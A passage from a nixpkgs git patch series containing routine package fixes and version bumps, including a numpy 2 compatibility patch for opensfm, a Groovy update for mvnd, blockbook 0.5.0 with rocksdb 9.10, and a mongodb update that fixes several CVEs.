+          sed -i 's/\(gi-gtk == .*\),/\1, gi-gdkpixbuf == 2.0.*,/' ./gi-vte.cabal
+        '';
+      buildDepends = (oldAttrs.buildDepends or [ ]) ++ [ self.gi-gdkpixbuf ];
+    }
+  ) super.gi-vte;
+
   # 2023-04-09: haskell-ci needs Cabal-syntax 3.10
   # 2024-03-21: pins specific version of ShellCheck
   # 2025-03-10: jailbreak, https://github.com/haskell-CI/haskell-ci/issues/771

From 1b126f14fae009b02f91db582f9dbfcf7288a6a4 Mon Sep 17 00:00:00 2001
From: Amadej Kastelic <amadejkastelic7@gmail.com>
Date: Thu, 8 May 2025 12:37:53 +0200
Subject: [PATCH 0209/4511] python3Packages.gst-python: fix darwin build

(cherry picked from commit 190b4b2f2f9b816bd11acdb71fe5bdfd673a333d)
---
 pkgs/development/python-modules/gst-python/default.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/pkgs/development/python-modules/gst-python/default.nix b/pkgs/development/python-modules/gst-python/default.nix
index 301da0fc46dd..2c8d9818f9bb 100644
--- a/pkgs/development/python-modules/gst-python/default.nix
+++ b/pkgs/development/python-modules/gst-python/default.nix
@@ -1,5 +1,6 @@
 {
   lib,
+  stdenv,
   buildPythonPackage,
   fetchurl,
   fetchpatch,
@@ -78,6 +79,10 @@ buildPythonPackage rec {
   # https://github.com/NixOS/nixpkgs/issues/47390
   installCheckPhase = "meson test --print-errorlogs";
 
+  preCheck = lib.optionalString stdenv.hostPlatform.isDarwin ''
+    export DYLD_LIBRARY_PATH="${gst_all_1.gst-plugins-base}/lib"
+  '';
+
   passthru = {
     updateScript = directoryListingUpdater { };
   };

From 7d1ed4ae34e36405a3bab0d15f3271fcd6f2b04c Mon Sep 17 00:00:00 2001
From: Peder Bergebakken Sundt <pbsds@hotmail.com>
Date: Mon, 12 May 2025 12:22:25 +0200
Subject: [PATCH 0210/4511] python313Packages.opensfm: fix build, fixup, add
 maintainer pbsds

fixes https://hydra.nixos.org/build/296214376

(cherry picked from commit 95a230e3bb7f543f1fcc2cfe6d9241bf047c3f4c)
---
 .../0005-fix-numpy-2-test-failures.patch      | 239 ++++++++++++++++++
 .../python-modules/opensfm/default.nix        |  32 ++-
 2 files changed, 263 insertions(+), 8 deletions(-)
 create mode 100644 pkgs/development/python-modules/opensfm/0005-fix-numpy-2-test-failures.patch

diff --git a/pkgs/development/python-modules/opensfm/0005-fix-numpy-2-test-failures.patch b/pkgs/development/python-modules/opensfm/0005-fix-numpy-2-test-failures.patch
new file mode 100644
index 000000000000..444471d37f4d
--- /dev/null
+++ b/pkgs/development/python-modules/opensfm/0005-fix-numpy-2-test-failures.patch
@@ -0,0 +1,239 @@
+diff --git a/opensfm/exif.py b/opensfm/exif.py
+--- a/opensfm/exif.py
++++ b/opensfm/exif.py
+@@ -509,7 +509,7 @@ class EXIF:
+                     )
+                 )
+ 
+-            if np.all(ypr) is not None:
++            if np.all(ypr != None):
+                 ypr = np.radians(ypr)
+ 
+                 # Convert YPR --> OPK
+diff --git a/opensfm/transformations.py b/opensfm/transformations.py
+--- a/opensfm/transformations.py
++++ b/opensfm/transformations.py
+@@ -232,7 +232,7 @@ def translation_from_matrix(matrix: numpy.ndarray) -> numpy.ndarray:
+     True
+ 
+     """
+-    return numpy.array(matrix, copy=False)[:3, 3].copy()
++    return numpy.asarray(matrix)[:3, 3].copy()
+ 
+ 
+ def reflection_matrix(point: numpy.ndarray, normal: numpy.ndarray) -> numpy.ndarray:
+@@ -275,7 +275,7 @@ def reflection_from_matrix(
+     True
+ 
+     """
+-    M = numpy.array(matrix, dtype=numpy.float64, copy=False)
++    M = numpy.asarray(matrix, dtype=numpy.float64)
+     # normal: unit eigenvector corresponding to eigenvalue -1
+     w, V = numpy.linalg.eig(M[:3, :3])
+     i = numpy.where(abs(numpy.real(w) + 1.0) < 1e-8)[0]
+@@ -339,7 +339,7 @@ def rotation_matrix(
+     M[:3, :3] = R
+     if point is not None:
+         # rotation not around origin
+-        point = numpy.array(point[:3], dtype=numpy.float64, copy=False)
++        point = numpy.asarray(point[:3], dtype=numpy.float64)
+         M[:3, 3] = point - numpy.dot(R, point)
+     return M
+ 
+@@ -359,7 +359,7 @@ def rotation_from_matrix(
+     True
+ 
+     """
+-    R = numpy.array(matrix, dtype=numpy.float64, copy=False)
++    R = numpy.asarray(matrix, dtype=numpy.float64)
+     R33 = R[:3, :3]
+     # direction: unit eigenvector of R33 corresponding to eigenvalue of 1
+     w, W = numpy.linalg.eig(R33.T)
+@@ -444,7 +444,7 @@ def scale_from_matrix(
+     True
+ 
+     """
+-    M = numpy.array(matrix, dtype=numpy.float64, copy=False)
++    M = numpy.asarray(matrix, dtype=numpy.float64)
+     M33 = M[:3, :3]
+     factor = numpy.trace(M33) - 2.0
+     try:
+@@ -505,11 +505,11 @@ def projection_matrix(
+ 
+     """
+     M = numpy.identity(4)
+-    point = numpy.array(point[:3], dtype=numpy.float64, copy=False)
++    point = numpy.asarray(point[:3], dtype=numpy.float64)
+     normal = unit_vector(normal[:3])
+     if perspective is not None:
+         # perspective projection
+-        perspective = numpy.array(perspective[:3], dtype=numpy.float64, copy=False)
++        perspective = numpy.asarray(perspective[:3], dtype=numpy.float64)
+         M[0, 0] = M[1, 1] = M[2, 2] = numpy.dot(perspective - point, normal)
+         M[:3, :3] -= numpy.outer(perspective, normal)
+         if pseudo:
+@@ -522,7 +522,7 @@ def projection_matrix(
+         M[3, 3] = numpy.dot(perspective, normal)
+     elif direction is not None:
+         # parallel projection
+-        direction = numpy.array(direction[:3], dtype=numpy.float64, copy=False)
++        direction = numpy.asarray(direction[:3], dtype=numpy.float64)
+         scale = numpy.dot(direction, normal)
+         M[:3, :3] -= numpy.outer(direction, normal) / scale
+         M[:3, 3] = direction * (numpy.dot(point, normal) / scale)
+@@ -569,7 +569,7 @@ def projection_from_matrix(
+     True
+ 
+     """
+-    M = numpy.array(matrix, dtype=numpy.float64, copy=False)
++    M = numpy.asarray(matrix, dtype=numpy.float64)
+     M33 = M[:3, :3]
+     w, V = numpy.linalg.eig(M)
+     i = numpy.where(abs(numpy.real(w) - 1.0) < 1e-8)[0]
+@@ -726,7 +726,7 @@ def shear_from_matrix(
+     True
+ 
+     """
+-    M = numpy.array(matrix, dtype=numpy.float64, copy=False)
++    M = numpy.asarray(matrix, dtype=numpy.float64)
+     M33 = M[:3, :3]
+     # normal: cross independent eigenvectors corresponding to the eigenvalue 1
+     w, V = numpy.linalg.eig(M33)
+@@ -790,7 +790,7 @@ def decompose_matrix(
+     True
+ 
+     """
+-    M = numpy.array(matrix, dtype=numpy.float64, copy=True).T
++    M = numpy.asarray(matrix, dtype=numpy.float64, copy=True).T
+     if abs(M[3, 3]) < _EPS:
+         raise ValueError("M[3, 3] is zero")
+     M /= M[3, 3]
+@@ -982,8 +982,8 @@ def affine_matrix_from_points(
+     More examples in superimposition_matrix()
+ 
+     """
+-    v0 = numpy.array(v0, dtype=numpy.float64, copy=True)
+-    v1 = numpy.array(v1, dtype=numpy.float64, copy=True)
++    v0 = numpy.asarray(v0, dtype=numpy.float64, copy=True)
++    v1 = numpy.asarray(v1, dtype=numpy.float64, copy=True)
+ 
+     ndims = v0.shape[0]
+     if ndims < 2 or v0.shape[1] < ndims or v0.shape != v1.shape:
+@@ -1099,8 +1099,8 @@ def superimposition_matrix(
+     True
+ 
+     """
+-    v0 = numpy.array(v0, dtype=numpy.float64, copy=False)[:3]
+-    v1 = numpy.array(v1, dtype=numpy.float64, copy=False)[:3]
++    v0 = numpy.asarray(v0, dtype=numpy.float64)[:3]
++    v1 = numpy.asarray(v1, dtype=numpy.float64)[:3]
+     return affine_matrix_from_points(v0, v1, shear=False, scale=scale, usesvd=usesvd)
+ 
+ 
+@@ -1198,7 +1198,7 @@ def euler_from_matrix(
+     j = _NEXT_AXIS[i + parity]
+     k = _NEXT_AXIS[i - parity + 1]
+ 
+-    M = numpy.array(matrix, dtype=numpy.float64, copy=False)[:3, :3]
++    M = numpy.asarray(matrix, dtype=numpy.float64)[:3, :3]
+     if repetition:
+         sy = math.sqrt(M[i, j] * M[i, j] + M[i, k] * M[i, k])
+         if sy > _EPS:
+@@ -1329,7 +1329,7 @@ def quaternion_matrix(quaternion: numpy.ndarray) -> numpy.ndarray:
+     True
+ 
+     """
+-    q = numpy.array(quaternion, dtype=numpy.float64, copy=True)
++    q = numpy.asarray(quaternion, dtype=numpy.float64, copy=True)
+     n = numpy.dot(q, q)
+     if n < _EPS:
+         return numpy.identity(4)
+@@ -1379,7 +1379,7 @@ def quaternion_from_matrix(
+     True
+ 
+     """
+-    M = numpy.array(matrix, dtype=numpy.float64, copy=False)[:4, :4]
++    M = numpy.asarray(matrix, dtype=numpy.float64)[:4, :4]
+     if isprecise:
+         q = numpy.empty((4,))
+         t = numpy.trace(M)
+@@ -1460,7 +1460,7 @@ def quaternion_conjugate(quaternion: numpy.ndarray) -> numpy.ndarray:
+     True
+ 
+     """
+-    q = numpy.array(quaternion, dtype=numpy.float64, copy=True)
++    q = numpy.asarray(quaternion, dtype=numpy.float64, copy=True)
+     numpy.negative(q[1:], q[1:])
+     return q
+ 
+@@ -1474,7 +1474,7 @@ def quaternion_inverse(quaternion: numpy.ndarray) -> numpy.ndarray:
+     True
+ 
+     """
+-    q = numpy.array(quaternion, dtype=numpy.float64, copy=True)
++    q = numpy.asarray(quaternion, dtype=numpy.float64, copy=True)
+     numpy.negative(q[1:], q[1:])
+     return q / numpy.dot(q, q)
+ 
+@@ -1496,7 +1496,7 @@ def quaternion_imag(quaternion: numpy.ndarray) -> numpy.ndarray:
+     array([ 0.,  1.,  2.])
+ 
+     """
+-    return numpy.array(quaternion[1:4], dtype=numpy.float64, copy=True)
++    return numpy.asarray(quaternion[1:4], dtype=numpy.float64, copy=True)
+ 
+ 
+ def quaternion_slerp(
+@@ -1654,7 +1654,7 @@ def vector_norm(
+     1.0
+ 
+     """
+-    data = numpy.array(data, dtype=numpy.float64, copy=True)
++    data = numpy.asarray(data, dtype=numpy.float64, copy=True)
+     if out is None:
+         if data.ndim == 1:
+             return math.sqrt(numpy.dot(data, data))
+@@ -1697,13 +1697,13 @@ def unit_vector(
+ 
+     """
+     if out is None:
+-        data = numpy.array(data, dtype=numpy.float64, copy=True)
++        data = numpy.asarray(data, dtype=numpy.float64, copy=True)
+         if data.ndim == 1:
+             data /= math.sqrt(numpy.dot(data, data))
+             return data
+     else:
+         if out is not data:
+-            out[:] = numpy.array(data, copy=False)
++            out[:] = numpy.asarray(data)
+         data = out
+     length = numpy.atleast_1d(numpy.sum(data * data, axis))
+     numpy.sqrt(length, length)
+@@ -1777,8 +1777,8 @@ def angle_between_vectors(
+     True
+ 
+     """
+-    v0 = numpy.array(v0, dtype=numpy.float64, copy=False)
+-    v1 = numpy.array(v1, dtype=numpy.float64, copy=False)
++    v0 = numpy.asarray(v0, dtype=numpy.float64)
++    v1 = numpy.asarray(v1, dtype=numpy.float64)
+     dot = numpy.sum(v0 * v1, axis=axis)
+     dot /= vector_norm(v0, axis=axis) * vector_norm(v1, axis=axis)
+     dot = numpy.clip(dot, -1.0, 1.0)
+@@ -1826,9 +1826,9 @@ def is_same_transform(matrix0: numpy.ndarray, matrix1: numpy.ndarray) -> numpy.n
+     False
+ 
+     """
+-    matrix0 = numpy.array(matrix0, dtype=numpy.float64, copy=True)
++    matrix0 = numpy.asarray(matrix0, dtype=numpy.float64, copy=True)
+     matrix0 /= matrix0[3, 3]
+-    matrix1 = numpy.array(matrix1, dtype=numpy.float64, copy=True)
++    matrix1 = numpy.asarray(matrix1, dtype=numpy.float64, copy=True)
+     matrix1 /= matrix1[3, 3]
+     return numpy.allclose(matrix0, matrix1)
+ 
+@@ -1874,3 +1874,4 @@ if __name__ == "__main__":
+ 
+     numpy.set_printoptions(suppress=True, precision=5)
+     doctest.testmod()
++
diff --git a/pkgs/development/python-modules/opensfm/default.nix b/pkgs/development/python-modules/opensfm/default.nix
index bfaa8b8f1b73..c7b8f3f7a368 100644
--- a/pkgs/development/python-modules/opensfm/default.nix
+++ b/pkgs/development/python-modules/opensfm/default.nix
@@ -9,6 +9,7 @@
   suitesparse,
   metis,
   eigen,
+  setuptools,
   pkg-config,
   pybind11,
   numpy,
@@ -27,6 +28,7 @@
   joblib,
   repoze-lru,
   xmltodict,
+  distutils,
   cloudpickle,
   scipy,
   sphinx,
@@ -34,13 +36,10 @@
   fpdf,
 }:
 
-let
-  ceresSplit = (builtins.length ceres-solver.outputs) > 1;
-  ceres' = if ceresSplit then ceres-solver.dev else ceres-solver;
-in
 buildPythonPackage rec {
   pname = "opensfm";
   version = "unstable-2023-12-09";
+  pyproject = true;
 
   src = fetchFromGitHub {
     owner = "mapillary";
@@ -48,12 +47,15 @@ buildPythonPackage rec {
     rev = "7f170d0dc352340295ff480378e3ac37d0179f8e";
     sha256 = "sha256-l/HTVenC+L+GpMNnDgnSGZ7+Qd2j8b8cuTs3SmORqrg=";
   };
+
   patches = [
     ./0002-cmake-find-system-distributed-gtest.patch
     ./0003-cmake-use-system-pybind11.patch
     ./0004-pybind_utils.h-conflicts-with-nixpkgs-pybind.patch
+    ./0005-fix-numpy-2-test-failures.patch # not upstreamed due to cla, but you're free upstream it -@pbsds
     ./fix-scripts.patch
   ];
+
   postPatch = ''
     rm opensfm/src/cmake/FindGlog.cmake
     rm opensfm/src/cmake/FindGflags.cmake
@@ -64,16 +66,22 @@ buildPythonPackage rec {
     echo 'feature_type: SIFT' >> data/berlin/config.yaml
     echo 'feature_type: HAHOG' >> data/lund/config.yaml
 
+    # make opensfm correctly import glog headers
+    export CXXFLAGS=-DGLOG_USE_GLOG_EXPORT
+
     sed -i -e 's/^.*BuildDoc.*$//' setup.py
   '';
 
+  build-system = [ setuptools ];
+
   nativeBuildInputs = [
     cmake
     pkg-config
     sphinx
   ];
+
   buildInputs = [
-    ceres'
+    ceres-solver
     suitesparse
     metis
     eigen
@@ -83,7 +91,8 @@ buildPythonPackage rec {
     glog
     pybind11
   ];
-  propagatedBuildInputs = [
+
+  dependencies = [
     numpy
     scipy
     pyyaml
@@ -101,7 +110,11 @@ buildPythonPackage rec {
     xmltodict
     cloudpickle
   ];
-  nativeCheckInputs = [ pytestCheckHook ];
+
+  nativeCheckInputs = [
+    pytestCheckHook
+    distutils
+  ];
 
   dontUseCmakeBuildDir = true;
   cmakeFlags = [
@@ -122,7 +135,10 @@ buildPythonPackage rec {
 
   meta = {
     broken = stdenv.hostPlatform.isDarwin;
-    maintainers = [ lib.maintainers.SomeoneSerge ];
+    maintainers = [
+      lib.maintainers.pbsds
+      lib.maintainers.SomeoneSerge
+    ];
     license = lib.licenses.bsd2;
     changelog = "https://github.com/mapillary/OpenSfM/blob/${src.rev}/CHANGELOG.md";
     description = "Open source Structure-from-Motion pipeline from Mapillary";

From b3c79f09fde472a52b408be3a67dbf53e63c1230 Mon Sep 17 00:00:00 2001
From: Nathan Regner <nathanregner@gmail.com>
Date: Fri, 16 May 2025 23:32:33 -0600
Subject: [PATCH 0211/4511] mvnd: fix build with graalvm-ce 24

(cherry picked from commit a22fa7944a3134d85c329d0fcf1014c200ab2212)
---
 pkgs/by-name/mv/mvnd/package.nix              |  6 ++--
 ...roovy-for-compatibility-with-Java-24.patch | 34 +++++++++++++++++++
 2 files changed, 38 insertions(+), 2 deletions(-)
 create mode 100644 pkgs/by-name/mv/mvnd/patches/0001-update-groovy-for-compatibility-with-Java-24.patch

diff --git a/pkgs/by-name/mv/mvnd/package.nix b/pkgs/by-name/mv/mvnd/package.nix
index 473580df7738..59a8645d3a81 100644
--- a/pkgs/by-name/mv/mvnd/package.nix
+++ b/pkgs/by-name/mv/mvnd/package.nix
@@ -19,6 +19,7 @@ let
     x86_64-darwin = "darwin-amd64";
     x86_64-linux = "linux-amd64";
   };
+  inherit (platformMap.${stdenv.system}) os arch;
 in
 
 maven.buildMavenPackage rec {
@@ -30,10 +31,11 @@ maven.buildMavenPackage rec {
     rev = version;
     sha256 = "sha256-c1jD7m4cOdPWQEoaUMcNap2zvvX7H9VaWQv8JSgAnRU=";
   };
+  patches = [ ./patches/0001-update-groovy-for-compatibility-with-Java-24.patch ];
 
   # need graalvm at build-time for the `native-image` tool
   mvnJdk = graalvmPackages.graalvm-ce;
-  mvnHash = "sha256-Bx0XSnpHNxNX07uVPc18py9qbnG5b3b7J4vs44ty034=";
+  mvnHash = "sha256-/Ful6v3hfm+0aa0vBQhqMK6VE+93L3o7pwZ6wmeXzQY=";
 
   nativeBuildInputs = [
     graalvmPackages.graalvm-ce
@@ -101,7 +103,7 @@ maven.buildMavenPackage rec {
     description = "The Apache Maven Daemon";
     homepage = "https://maven.apache.org/";
     license = lib.licenses.asl20;
-    platforms = lib.platforms.unix;
+    platforms = builtins.attrNames platformMap;
     maintainers = with lib.maintainers; [ nathanregner ];
     mainProgram = "mvnd";
   };
diff --git a/pkgs/by-name/mv/mvnd/patches/0001-update-groovy-for-compatibility-with-Java-24.patch b/pkgs/by-name/mv/mvnd/patches/0001-update-groovy-for-compatibility-with-Java-24.patch
new file mode 100644
index 000000000000..8bbf9dbd41ab
--- /dev/null
+++ b/pkgs/by-name/mv/mvnd/patches/0001-update-groovy-for-compatibility-with-Java-24.patch
@@ -0,0 +1,34 @@
+From 4d92b26f6cfc7c5f164caf11c1d5325815058624 Mon Sep 17 00:00:00 2001
+From: Nathan Regner <nathanregner@gmail.com>
+Date: Fri, 16 May 2025 23:28:13 -0600
+Subject: [PATCH] build: update groovy for compatibility with Java 24
+
+---
+ pom.xml | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/pom.xml b/pom.xml
+index c1cec38b..7534ffd5 100644
+--- a/pom.xml
++++ b/pom.xml
+@@ -80,7 +80,7 @@
+     <!-- cannot upgrade graalvm to 23.0.0 which requires JDK >= 20 -->
+     <graalvm.version>24.0.2</graalvm.version>
+     <graalvm.plugin.version>0.10.2</graalvm.plugin.version>
+-    <groovy.version>4.0.22</groovy.version>
++    <groovy.version>4.0.24</groovy.version>
+     <jakarta.inject.version>1.0</jakarta.inject.version>
+     <jline.version>3.26.3</jline.version>
+     <maven.version>3.9.9</maven.version>
+@@ -91,7 +91,7 @@
+ 
+     <!-- plugin versions a..z -->
+     <buildnumber-maven-plugin.version>3.2.0</buildnumber-maven-plugin.version>
+-    <groovy-maven-plugin.version>3.0.2</groovy-maven-plugin.version>
++    <groovy-maven-plugin.version>4.2.0</groovy-maven-plugin.version>
+     <mrm.version>1.6.0</mrm.version>
+     <junit-platform-launcher.version>1.10.3</junit-platform-launcher.version>
+     <takari-provisio.version>1.0.25</takari-provisio.version>
+-- 
+2.49.0
+

From b2ca969894bd241c8e0e86c027628424a3c971f8 Mon Sep 17 00:00:00 2001
From: Lena Fuhrimann <6780471+cloudlena@users.noreply.github.com>
Date: Sat, 24 May 2025 12:07:41 +0200
Subject: [PATCH 0212/4511] blockbook: 0.4.0 -> 0.5.0
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

In collaboration with @stapelberg @LorenzBischof ♥️

We also added `rocksdb_9_10` because it wouldn't build without it.

(cherry picked from commit bb55ace298e03400b34b3af07db40054ba38eb48)
---
 pkgs/by-name/bl/blockbook/package.nix | 14 ++++++--------
 pkgs/top-level/all-packages.nix       | 11 +++++++++++
 2 files changed, 17 insertions(+), 8 deletions(-)

diff --git a/pkgs/by-name/bl/blockbook/package.nix b/pkgs/by-name/bl/blockbook/package.nix
index b246fc368970..a2d908df991e 100644
--- a/pkgs/by-name/bl/blockbook/package.nix
+++ b/pkgs/by-name/bl/blockbook/package.nix
@@ -6,7 +6,7 @@
   lz4,
   nixosTests,
   pkg-config,
-  rocksdb_7_10,
+  rocksdb_9_10,
   snappy,
   stdenv,
   zeromq,
@@ -14,23 +14,23 @@
 }:
 
 let
-  rocksdb = rocksdb_7_10;
+  rocksdb = rocksdb_9_10;
 in
 buildGoModule rec {
   pname = "blockbook";
-  version = "0.4.0";
-  commit = "b227dfe";
+  version = "0.5.0";
+  commit = "657cbcf";
 
   src = fetchFromGitHub {
     owner = "trezor";
     repo = "blockbook";
     rev = "v${version}";
-    hash = "sha256-98tp3QYaHfhVIiJ4xkA3bUanXwK1q05t+YNroFtBUxE=";
+    hash = "sha256-8/tyqmZE9NJWGg7zYcdei0f1lpXfehy6LM6k5VHW33g=";
   };
 
   proxyVendor = true;
 
-  vendorHash = "sha256-n03eWWy+58KAbYnKxI3/ulWIpmR+ivtImQSqbe2kpYU=";
+  vendorHash = "sha256-W29AvzfleCYC2pgHj2OB00PWBTcD2UUDbDH/z5A3bQ4=";
 
   nativeBuildInputs = [ pkg-config ];
 
@@ -49,8 +49,6 @@ buildGoModule rec {
     "-X github.com/trezor/blockbook/common.buildDate=unknown"
   ];
 
-  tags = [ "rocksdb_7_10" ];
-
   CGO_LDFLAGS = [
     "-L${lib.getLib stdenv.cc.cc}/lib"
     "-lrocksdb"
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index d0f340251309..faedc8e510c5 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -9551,6 +9551,17 @@ with pkgs;
     jvm = jre8;
   };
 
+  rocksdb_9_10 = rocksdb.overrideAttrs rec {
+    pname = "rocksdb";
+    version = "9.10.0";
+    src = fetchFromGitHub {
+      owner = "facebook";
+      repo = pname;
+      rev = "v${version}";
+      hash = "sha256-G+DlQwEUyd7JOCjS1Hg1cKWmA/qAiK8UpUIKcP+riGQ=";
+    };
+  };
+
   rocksdb_8_11 = rocksdb.overrideAttrs rec {
     pname = "rocksdb";
     version = "8.11.4";

From 9ab1005f0a1fcab4d80dc0047c5020d54ad38d08 Mon Sep 17 00:00:00 2001
From: Lena Fuhrimann <6780471+cloudlena@users.noreply.github.com>
Date: Mon, 26 May 2025 09:45:04 +0200
Subject: [PATCH 0213/4511] Remove 1000101 from blockbook maintainers

As per their wish in https://github.com/NixOS/nixpkgs/pull/410469#issuecomment-2908132051

(cherry picked from commit 6a07e51fe19c8927e91e701b2f146ffa32ccf3d7)
---
 pkgs/by-name/bl/blockbook/package.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/pkgs/by-name/bl/blockbook/package.nix b/pkgs/by-name/bl/blockbook/package.nix
index a2d908df991e..43f5bacc0f42 100644
--- a/pkgs/by-name/bl/blockbook/package.nix
+++ b/pkgs/by-name/bl/blockbook/package.nix
@@ -82,7 +82,6 @@ buildGoModule rec {
     license = licenses.agpl3Only;
     maintainers = with maintainers; [
       mmahut
-      _1000101
     ];
     platforms = platforms.unix;
     mainProgram = "blockbook";

From 3ae3f4c5a0617ee0be26895cb88b21abac66dac3 Mon Sep 17 00:00:00 2001
From: LucasFA <23667494+LucasFA@users.noreply.github.com>
Date: Tue, 20 May 2025 17:56:42 +0100
Subject: [PATCH 0214/4511] ithc: mark broken for kernels >= 6.10

This was fixed upstream in https://github.com/quo/ithc-linux/pull/30

However, according to their README, the driver is included in the Linux
Surface kernel already, see [1].
That may call into question the need to keep it in Nixpkgs long term,
specially when NixOS/nixos-hardware[2] already uses those patches

----
[1]: https://github.com/quo/ithc-linux/commit/0b8b45d
[2]: https://github.com/NixOS/nixos-hardware/tree/master/microsoft/surface)

(cherry picked from commit 7fd92eb829ad6266ea296db6c3bba35f9a7a31cc)
---
 pkgs/os-specific/linux/ithc/default.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/os-specific/linux/ithc/default.nix b/pkgs/os-specific/linux/ithc/default.nix
index 9f721bfae939..e9dce7825361 100644
--- a/pkgs/os-specific/linux/ithc/default.nix
+++ b/pkgs/os-specific/linux/ithc/default.nix
@@ -36,6 +36,6 @@ stdenv.mkDerivation rec {
     license = licenses.publicDomain;
     maintainers = with maintainers; [ aacebedo ];
     platforms = platforms.linux;
-    broken = kernel.kernelOlder "5.9";
+    broken = kernel.kernelOlder "5.9" || kernel.kernelAtLeast "6.10";
   };
 }

From e2c55d13f3aa3c85874abd7ded54a5c1fe7b26ac Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 18 May 2025 18:58:47 +0000
Subject: [PATCH 0215/4511] rofi-unwrapped: 1.7.8 -> 1.7.9

(cherry picked from commit 83a59bb3f63f023a0ad7436460944c0fb3f0b5df)
---
 pkgs/applications/misc/rofi/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/misc/rofi/default.nix b/pkgs/applications/misc/rofi/default.nix
index 95597a6ee411..cb3793b782f4 100644
--- a/pkgs/applications/misc/rofi/default.nix
+++ b/pkgs/applications/misc/rofi/default.nix
@@ -29,14 +29,14 @@
 
 stdenv.mkDerivation rec {
   pname = "rofi-unwrapped";
-  version = "1.7.8";
+  version = "1.7.9";
 
   src = fetchFromGitHub {
     owner = "davatorium";
     repo = "rofi";
     rev = version;
     fetchSubmodules = true;
-    hash = "sha256-TEn3LoTUc5mxYcVkckIFTfkqQ9cUJxkXyg/5TFv5TZ0=";
+    hash = "sha256-YI6ShRRBJ9ExkzDnI31YjtI1mWRWPzVRYQvpTAtLTeI=";
   };
 
   preConfigure = ''

From 9c3016ffba03c9bc6684a10ac3102d6c029bafb0 Mon Sep 17 00:00:00 2001
From: kilianar <mail@kilianar.de>
Date: Sat, 15 Mar 2025 12:56:19 +0100
Subject: [PATCH 0216/4511] verapdf: 1.26.4 -> 1.26.5

https://github.com/veraPDF/veraPDF-apps/releases/tag/v1.26.5
(cherry picked from commit 385cf708bdfb6b707f91e5b1a2a7045185b3168b)
---
 pkgs/by-name/ve/verapdf/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ve/verapdf/package.nix b/pkgs/by-name/ve/verapdf/package.nix
index 77e3185e5818..40982860feeb 100644
--- a/pkgs/by-name/ve/verapdf/package.nix
+++ b/pkgs/by-name/ve/verapdf/package.nix
@@ -10,7 +10,7 @@
 }:
 maven.buildMavenPackage rec {
   pname = "verapdf";
-  version = "1.26.4";
+  version = "1.26.5";
 
   mvnParameters = "-pl '!installer' -Dverapdf.timestamp=1980-01-01T00:00:02Z -Dproject.build.outputTimestamp=1980-01-01T00:00:02Z";
 
@@ -23,7 +23,7 @@ maven.buildMavenPackage rec {
 
   patches = [ ./stable-maven-plugins.patch ];
 
-  mvnHash = "sha256-VXivLGt440MfloWedtQlGukuZk0yui1QhjrpXGNNzqY=";
+  mvnHash = "sha256-qRd/IatxEj12wH12JcZwrWfKffaAs+KSuKFN2yhlMyI=";
 
   nativeBuildInputs = [
     makeWrapper

From b197f95f7e46005ef89e5dbb20d523250ac00ed3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Vladim=C3=ADr=20=C4=8Cun=C3=A1t?= <v@cunat.cz>
Date: Thu, 29 May 2025 10:09:50 +0200
Subject: [PATCH 0217/4511] verapdf: "fix" mvnHash

(cherry picked from commit 3aed4585852f528aec6b9529e4e0d8e9c364cb1e)
---
 pkgs/by-name/ve/verapdf/package.nix | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/ve/verapdf/package.nix b/pkgs/by-name/ve/verapdf/package.nix
index 40982860feeb..729ffecf834a 100644
--- a/pkgs/by-name/ve/verapdf/package.nix
+++ b/pkgs/by-name/ve/verapdf/package.nix
@@ -23,7 +23,8 @@ maven.buildMavenPackage rec {
 
   patches = [ ./stable-maven-plugins.patch ];
 
-  mvnHash = "sha256-qRd/IatxEj12wH12JcZwrWfKffaAs+KSuKFN2yhlMyI=";
+  # FIXME: this hash keeps changing over time??
+  mvnHash = "sha256-uFY92BFsIu9B6clwQV3l718DsBxvswANrKEBIFGNXN4=";
 
   nativeBuildInputs = [
     makeWrapper

From 7f70559174853f7faab8bb6b80da6841f69a7927 Mon Sep 17 00:00:00 2001
From: qubitnano <146656568+qubitnano@users.noreply.github.com>
Date: Sun, 9 Mar 2025 20:07:12 -0400
Subject: [PATCH 0218/4511] mongodb-6_0: 6.0.19 -> 6.0.23

https://www.mongodb.com/docs/manual/release-notes/6.0-changelog/

Fixes: CVE-2025-3082
Fixes: CVE-2025-3083
Fixes: CVE-2025-3084
Fixes: CVE-2025-3085
(cherry picked from commit 74884c119da06505eb2d9cbd724e9e2c6e4a2166)
---
 pkgs/servers/nosql/mongodb/6.0.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/nosql/mongodb/6.0.nix b/pkgs/servers/nosql/mongodb/6.0.nix
index b23fa286c50a..cc99fa2d4fae 100644
--- a/pkgs/servers/nosql/mongodb/6.0.nix
+++ b/pkgs/servers/nosql/mongodb/6.0.nix
@@ -20,8 +20,8 @@ let
 in
 buildMongoDB {
   inherit avxSupport;
-  version = "6.0.19";
-  sha256 = "sha256-qcf+6hMg0LASeOoZJPoRCQ9ajCJBqSsBDg2Wp+2SMKY=";
+  version = "6.0.23";
+  sha256 = "sha256-E87l73bA2i/wEPkzYBX70UptX7tWqBRyhb4fIyrwHZk=";
   patches = [
     # Patches a bug that it couldn't build MongoDB 6.0 on gcc 13 because a include in ctype.h was missing
     ./fix-gcc-13-ctype-6_0.patch

From 54a0e977f02eca6cc94f308aa5687dac962065ae Mon Sep 17 00:00:00 2001
From: Jonas Heinrich <onny@project-insanity.org>
Date: Tue, 13 May 2025 16:10:11 +0200
Subject: [PATCH 0219/4511] python3Packages.debugpy: Enable riscv64 platform

(cherry picked from commit 1184896fe90f9a440b369e71168ff5722e61d1f6)
---
 pkgs/development/python-modules/debugpy/default.nix | 2 ++
 1 file changed, 2 insertions(+)

